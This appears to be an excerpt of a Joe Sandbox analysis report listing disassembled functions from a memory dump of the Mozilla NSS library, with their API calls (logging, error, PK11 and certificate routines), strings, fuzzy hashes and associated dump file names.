Instruction ID: e59b6b30c453aa23de141430c3c109429888d582c7d7de2bd3542f91194a09f2
Opcode Fuzzy Hash: 8ddbbab9b660893cac60752f5824c64b5c952868684a4000120bdac276a762e1
Instruction Fuzzy Hash: 5481BC70B076129BEB298E25C948BAAB771BF4230CF38066DD9155BB41D730E852CBE1

Function 6CE5DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE5DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE5DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE5DF78

Strings

database corruption, xrefs: 6CE5DE5C, 6CE5DE8B
%s at line %d of [%.10s], xrefs: 6CE5DE61, 6CE5DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE5DE52, 6CE5DE81

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: e21c677ef5250fb6ac6f25f2f8f020e0e794f96b1414ae1450ab3e5914963b8e
Instruction ID: 3cff5a0dddb93c9148cca00baa751e95f041db0c01b358b7bc0c12b5e5cd8107
Opcode Fuzzy Hash: e21c677ef5250fb6ac6f25f2f8f020e0e794f96b1414ae1450ab3e5914963b8e
Instruction Fuzzy Hash: C381E1797043009FD704CF25C980B6A77F1BF45308F64892DE99A8BB51EB32EA56CB52

Function 6CE0CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE0B999), ref: 6CE0CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE0B999), ref: 6CE0D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CE0B999), ref: 6CE0D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CE0B999), ref: 6CF5972B

Strings

database corruption, xrefs: 6CE0CFE7, 6CE0D013, 6CE0D028, 6CE0D039, 6CE0D03E, 6CF59786
%s at line %d of [%.10s], xrefs: 6CE0CFEC, 6CE0D018, 6CE0D029, 6CE0D03F, 6CF5978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0CFDD, 6CE0D00E, 6CE0D022, 6CE0D033, 6CF59780

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 1f4ecbb2c414d4a255e9d93bb45f26677c0f6ec6f1c7cdb9add0583c6789c021
Instruction ID: 2f4843f46be15f9ffa55a061c9cb709524042ad70f4ecfad49b2ae41296c3d47
Opcode Fuzzy Hash: 1f4ecbb2c414d4a255e9d93bb45f26677c0f6ec6f1c7cdb9add0583c6789c021
Instruction Fuzzy Hash: E5611871A042108FD310CF2AC841BA6BBF6EF55318F68456EE5489BB42D376E947C7E2

Function 6CF0FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CF10113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF10130
PORT_Alloc_Util.NSS3(00000040), ref: 6CF1015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CF101AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CF10202
free.MOZGLUE(?), ref: 6CF10224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF10253

Strings

exporter, xrefs: 6CF100F7

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 3b615e92489fdf9d43921fdc8386beef7eb19422d2f437758d61842a41b344f5
Instruction ID: a11bd9f9961e466c87a17999f603c6c5ac5af7722762c9c7f43bbf62efbb4744
Opcode Fuzzy Hash: 3b615e92489fdf9d43921fdc8386beef7eb19422d2f437758d61842a41b344f5
Instruction Fuzzy Hash: FA612471D087899BEF018FA4CC00BEE77B6BF4431CF15412CED1A6AA51EB75A964C741

Function 6CEE4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEE536F,00000022,?,?,00000000,?), ref: 6CEE4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEE4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEE4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEE4FAE
free.MOZGLUE(?), ref: 6CEE4FC8

Strings

oSl", xrefs: 6CEE4DFB, 6CEE4EF4, 6CEE4EC5
%s=%c%s%c, xrefs: 6CEE4FA9
%s=%s, xrefs: 6CEE4F89

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 4894cdc204839c35b4c72acd54bacb5a22fbfb937e8a773702691aff78392081
Instruction ID: ef84d67fcb8d112e0600fdfd96f30755ed6f3d8f25fff9d5d03a18b6fa5baeaf
Opcode Fuzzy Hash: 4894cdc204839c35b4c72acd54bacb5a22fbfb937e8a773702691aff78392081
Instruction Fuzzy Hash: 6F512721E051498BEB01CAEA84917FF7BF59F4E38CF398167E894ABB50D3359805C791

Function 6CF0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EF6D

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

htonl.WSOCK32(00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EFE4
htonl.WSOCK32(?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0EFF1
memcpy.VCRUNTIME140(?,?,6CF2A4A1,?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CF2A4A1,?,00000000,?,00000001), ref: 6CF0F027

Strings

dtls13, xrefs: 6CF0EF33

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: ea26591181e87a11f003512b34d0e45fe33cf49d7e2a6568d87cfcff3332fcf3
Instruction ID: bd3632431d34ef84ad1e8120e34270bdde91f21dc15c0d6b35578b43887e54a9
Opcode Fuzzy Hash: ea26591181e87a11f003512b34d0e45fe33cf49d7e2a6568d87cfcff3332fcf3
Instruction Fuzzy Hash: 1F311471A00211AFDB10DF38DC50B8AB7E4FF48749F158029E8589B751E731E915CBE1

Function 6CE8AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE8AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFA9500,6CE83F91), ref: 6CE8AFD2

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

DER_GetInteger_Util.NSS3(?), ref: 6CE8B007

Part of subcall function 6CED6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE81666,?,6CE8B00C,?), ref: 6CED6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE8B02F
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE8B046
PL_FreeArenaPool.NSS3 ref: 6CE8B058
PL_FinishArenaPool.NSS3 ref: 6CE8B060

Strings

security, xrefs: 6CE8AFB8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 0c7419708a988b32be2df8bbd1632f48e165764745e3b1124659837124def612
Instruction ID: 3f5afa2383b71bb5e0289f46d62dbde8db16ee4676b2005cf753fc7c45a6fb0c
Opcode Fuzzy Hash: 0c7419708a988b32be2df8bbd1632f48e165764745e3b1124659837124def612
Instruction Fuzzy Hash: B6310871805300DBD7108F249C45BAA77B4AF8A36CF30061DE9B89BBD1E7329509C797

Function 6CE83E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE83F7F,?,00000055,?,?,6CE81666,?,?), ref: 6CE840D9
Part of subcall function 6CE840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE81666,?,?), ref: 6CE840FC
Part of subcall function 6CE840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE81666,?,?), ref: 6CE84138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
PL_FreeArenaPool.NSS3 ref: 6CE83F14
PL_FinishArenaPool.NSS3 ref: 6CE83F1C

Part of subcall function 6CEE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEE127C,00000000,00000000,00000000), ref: 6CEE650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

Strings

security, xrefs: 6CE83EBC

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 96e65d4a98152d3243a31a5e76a06d91e0677abdc7b346b1a6129f525f453251
Instruction ID: 8a06260369c8eb79d275bbefee240648dfd18c89f6f086928128d1306ba00850
Opcode Fuzzy Hash: 96e65d4a98152d3243a31a5e76a06d91e0677abdc7b346b1a6129f525f453251
Instruction Fuzzy Hash: DD213AB29043006BD3148B15AC02F9B77B8FB4974CF14093DF949A7742F731E9188796

Function 6CECCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CECCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CECCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CECD079

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 787451b89f79bbf1f7a70469913243059987591a6632428e7629c6dbecf92053
Instruction ID: 1e2c4a0aa554a49dad99ffdad9d371f41a9ba9221d78c70ebc5b404bdd671965
Opcode Fuzzy Hash: 787451b89f79bbf1f7a70469913243059987591a6632428e7629c6dbecf92053
Instruction Fuzzy Hash: B0C1BFB5A002199FDB10CF28CD81BDAB7B5BB48308F2441A8E85897741E775EE95CF82

Function 6CEBDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CEC97C1,?,00000000,00000000,?,?,?,00000000,?,6CEA7F4A,00000000), ref: 6CEBDC68

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDFAA

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 84e8b08f66cae00a13b789f682dfd56a03babc2f3b642b27c9cea28788750a24
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 5681E578E065048BFB144E58CAA037972B2DB6534CF34843AF55AEAFE9D778D784C602

Function 6CE93C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE93C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE93C94

Part of subcall function 6CE895B0: TlsGetValue.KERNEL32(00000000,?,6CEA00D2,00000000), ref: 6CE895D2
Part of subcall function 6CE895B0: EnterCriticalSection.KERNEL32(?,?,?,6CEA00D2,00000000), ref: 6CE895E7
Part of subcall function 6CE895B0: PR_Unlock.NSS3(?,?,?,?,6CEA00D2,00000000), ref: 6CE89605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE93CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE93CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE93CE1

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 11303f571345769e7ee674890ad58657e52e54208a08b6e20d13aa4bb783248e
Instruction ID: 1a6ba3da487bd674ea6248bb2f47898d44d9520cec7503b02e238c9c607bdc37
Opcode Fuzzy Hash: 11303f571345769e7ee674890ad58657e52e54208a08b6e20d13aa4bb783248e
Instruction Fuzzy Hash: 9161C675A00300BBEB115FA5DC41FAB76B9EF0474CF284068FE5A9AB52F721D914C7A2

Function 6CED3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

TlsGetValue.KERNEL32 ref: 6CED3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CED3D9F
PR_Unlock.NSS3(?), ref: 6CED3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CED3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CED3E4F

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

TlsGetValue.KERNEL32 ref: 6CED3E97
EnterCriticalSection.KERNEL32(?), ref: 6CED3EAB
PR_Unlock.NSS3(?), ref: 6CED3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CED3EEE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 1e1953c763749eff92dc2218a9b571e1699a26ee6754404b37344c4d77217fbf
Instruction ID: c8826c10e0b86dd10783c7f6a916da52939af08a10cd02db31e5b6ff4f547300
Opcode Fuzzy Hash: 1e1953c763749eff92dc2218a9b571e1699a26ee6754404b37344c4d77217fbf
Instruction Fuzzy Hash: 6A5125B2E007029FEB41AF69D84476673B4AF45318F260528DE094BB62EB31F946CBD1

Function 6CE82C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(72F0C949), ref: 6CE82C5D

Part of subcall function 6CEE0D30: calloc.MOZGLUE ref: 6CEE0D50
Part of subcall function 6CEE0D30: TlsGetValue.KERNEL32 ref: 6CEE0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE82C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE82CE0

Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E
Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33
Part of subcall function 6CE82E00: TlsGetValue.KERNEL32 ref: 6CE82E4E
Part of subcall function 6CE82E00: EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
